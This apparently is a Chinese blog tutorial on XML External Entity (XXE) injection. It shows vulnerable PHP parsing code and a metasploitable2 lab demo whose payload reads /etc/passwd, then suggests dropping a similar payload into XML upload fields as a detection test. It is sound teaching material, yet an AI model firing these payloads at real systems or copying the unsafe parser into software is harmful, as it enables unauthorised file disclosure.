当前位置: 首页 > news >正文

XXE漏洞2-漏洞原理及检测方式(超详细)

一.XXE漏洞原理解释

       XXE 漏洞全称 XML External Entity Injection 即 XML 外部实体注入漏洞,XXE 漏洞发生在应

用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、

命令执行、内网端口扫描、攻击内网网站、发起 dos 攻击等危害。Entity [ˈentəti] 实体

       有上篇文件我们构造一个xml请求:

<!DOCTYPE note [
<!ELEMENT heading (#PCDATA)>
<!ENTITY free SYSTEM
"http://xxx.com">
]>
<heading>&free;</heading>

这是一个外部实体请求,free是实体。

然后当我们把这个请求发送给服务器时,服务器会怎么解析从而构成了XXE漏洞的呢?

下面是服务器的解析代码:

<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>

代码解释(解析原理)
file_get_contents() 函数把整个文件读入一个字符串中。

php://input #是个可以访问请求的原始数据的只读流。
结合 file_get_contents(“php://input”)可以读取 POST 提交的数据。存入$xml

php 中的 simplexml_load_string 函数将 xml 格式字符串转换为对应的 SimpleXMLElement
Object,就是将free转换成我们指定路径下的文件内容。

再使用 simplexml_load_string 将 note 输入 XML 数值打印出来

总结:也就是将实体解析的时候出现了漏洞。

二.漏洞原理演示:

环境:metasploitable2-linux

第一步:我们先进入/var/www,然后我们创建一个xxe.php模拟服务器检测解析过程。

输入代码:

<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>

第二步:创建一个test.php测试页面。

<?php
$note=<<<XML
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
XML;
$xml=simplexml_load_string($note);
print_r($xml);
?>
然后我们浏览器打开测试页面:
可以看到我们的php 中的 simplexml_load_string 函数将 xml 格式字符串转换为对应的
SimpleXMLElement Object。

三.最后一布:漏洞演示

然后我们来到xxe.php:
我们可以尝试上传恶意post请求:
<?xml version="1.0" ?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free SYSTEM "file:///etc/passwd">
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder &free;</heading>
<body>Don't forget the meeting!</body>
</note>
我们就可以看到成功读取到了etc/passwd的文件,成功执行XXE漏洞
注意:类型要选择(raw)不然传输的xml数据类型不对读取会失败。

四.漏洞检测方式。

        XXE 漏洞触发的点往往是可以上传 xml 文档的位置,没有对上传的 xml 文档进行过滤,导致
可上恶意的 xml 文档被解析执行。
       
       所以当碰见xml文件上传功能你就往里扔:
<?xml version="1.0" ?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free SYSTEM "file:///xxx.com">
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder &free;</heading>
<body>Don't forget the meeting!</body>
</note>
       能被恶意解析就是有漏洞,没有就没有。
http://www.lryc.cn/news/589738.html

相关文章:

  • HandlerIntercepter,JWT和杂项知识点
  • LeetCode Hot 100 二叉树的最大深度
  • 【Java】【力扣】94.二叉树的中序遍历
  • C#获取当前系统账户是否为管理员账户
  • LeetCode经典题解:141、判断链表是否有环
  • LeetCode Hot100【4. 寻找两个正序数组的中位数】
  • C++之unordered_xxx基于哈希表(链地址法)的自我实现(难)
  • 逆向入门(39、40)程序逆向篇-DaNiEl-RJ.1、genocide1
  • 【LeetCode 热题 100】543. 二叉树的直径——DFS
  • STM32-RTC内部时钟
  • fastadmin会员单点登录
  • C#语法基础总结(超级全面)
  • flutter app内跳转到其他安卓 app的方法
  • HTML 入门教程:从零开始学习网页开发基础
  • HTML基础P1 | HTML基本元素
  • Android 升级targetSdk无法启动服务
  • APIs案例及知识点串讲(上)
  • FreeRTOS中断管理STM32
  • Java-74 深入浅出 RPC Dubbo Admin可视化管理 安装使用 源码编译、Docker启动
  • 【docker】将本地镜像打包部署到服务器上
  • LVS:高性能负载均衡利器
  • CVE-2005-4900:TLS SHA-1 安全漏洞修复详解
  • WIN10系统优化篇(一)
  • Samba服务器
  • 【RTSP从零实践】12、TCP传输H264格式RTP包(RTP_over_TCP)的RTSP服务器(附带源码)
  • Vue 结合 Zabbix API 获取服务器 CPU、内存、GPU 等数据
  • Thymeleaf 基础语法与标准表达式详解
  • [Linux入门] Linux 账号和权限管理入门:从基础到实践
  • 如何通过扫描电镜检测汽车清洁度中的硬质颗粒并获取成分信息
  • 【云原生网络】Istio基础篇